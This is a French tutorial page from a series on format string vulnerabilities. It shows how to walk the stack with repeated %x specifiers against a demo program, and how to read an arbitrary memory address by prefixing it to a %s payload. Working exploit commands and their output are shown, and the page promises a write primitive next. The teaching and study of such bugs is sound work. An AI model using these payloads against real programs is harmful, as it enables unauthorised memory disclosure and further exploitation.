Chaine de format - lecture en mémoire   Version imprimable de cet article Enregistrer au format PDF

Dans la partie précédente, nous avons vu que quand on passait une chaîne formatée en paramètre, il se peut qu’elle soit interprétée ainsi (dans l’éventualité où le programmeur a laissé une vulnérabilité de type chaîne formatée). Tout d’abord, il est nécessaire d’analyser quels paramètres la fonction printf() utilise. La réponse est simple car, comme toutes les fonctions, printf() a accès aux variables passées en ajoutant à EBP. Dans notre cas, aucune variable n’a été passée. Ce serait donc tout simplement la pile que l’on serait en train de descendre.


par S3cur3D

lire une adresse arbitraire

Dans la partie précédente, nous avons vu que quand on passait une chaîne formatée en paramètre, il se peut qu’elle soit interprétée ainsi (dans l’éventualité où le programmeur a laissé une vulnérabilité de type chaîne formatée). Tout d’abord, il est nécessaire d’analyser quels paramètres la fonction printf() utilise. La réponse est simple car, comme toutes les fonctions, printf() a accès aux variables passées en ajoutant à EBP. Dans notre cas, aucune variable n’a été passée. Autrement dit, il n’y a pas d’espace entre l’adresse de retour et le bloc (frame) suivant. Ce serait donc tout simplement la pile que l’on serait en train de descendre. Vérifions ceci dans l’exemple suivant, où on tente de remonter la pile par blocs de 4 bytes :

   $ echo `perl -e 'print "%x-"x50;'` | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049864

   i = 1337 = 539 et se trouve à 0x8049860
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
   %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-

   ou comme ça : bfff5f54-12-8049860-bfff6020-bfff601c-b7f9fff4-b7fa0820-bfff6028-252d7825-78252d78-2d78252d-
   252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-
   78252d78- 2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-
   2d78252d-252d7825- 78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-
   252d7825-78252d78-2d78252d- 252d7825-2d78-0-1-0-bfff79f3-

   Fin du programme

   $

On se rend notamment compte que la chaîne "25782D" (on se rappelle que les bytes sont stockées en little endian) se répète beaucoup. Armés de notre table ascii, on se rend compte que cette suite n’est autre que "%x-", autrement dit la chaine que nous avons rentré, ce qui conforte le fait que nous explorons bien la pile. Puisque la fonction printf() se trouve au plus haut de la pile, il est naturel que la chaine formatée que nous avons entré est placée derrière le stack frame pointer actuel (EBP), c’est-à-dire à une adresse mémoire plus haute. Ainsi, on doit être capables de contrôler les arguments passés à la fonction printf.
En étudiant la sortie ci-dessus, on se rend compte que le 9ème paramètre formaté est %x-%. Autrement dit, notre chaîne commence ici. Si on lit cet argument avec %s au lieu de %x, printf() va essayer de lire la chaine située à l’adresse 0x252d7825, d’où un crash certain du programme. Mais, si on place au début de la chaîne une adresse valide, on peut a priori utiliser %s pour faire lire à printf() une string présente à cet endroit. De cette façon, on va donc essayer d’accéder à notre chaîne de test (se situant à 0x08049864 d’après les outputs précédents) :

   $ echo `printf "\x64\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%x%s | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049864

   i = 1337 = 539 et se trouve à 0x8049860
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, d˜%x-%x-%x-%x-%x-%x-%x-%x%s

   ou comme ça : d˜bf8487a4-12-8049860-bf848870-bf84886c-b7f8eff4-b7f8f820-bf848878Chaîne de caractères de test

   Fin du programme

   $

Apparemment, notre manipulation a fonctionné à merveille. Nous voyons déjà à quel point il est facile d’explorer la pile ou n’importe quelle variable présente en mémoire avec ce type de vulnérabilité. Ce n’est pas tout. Il est aussi très facile de changer les données à n’importe quelle adresse mémoire, ce que nous nous apprêtons à démontrer.

Documentations publiées dans cette rubrique Documentations publiées dans cette rubrique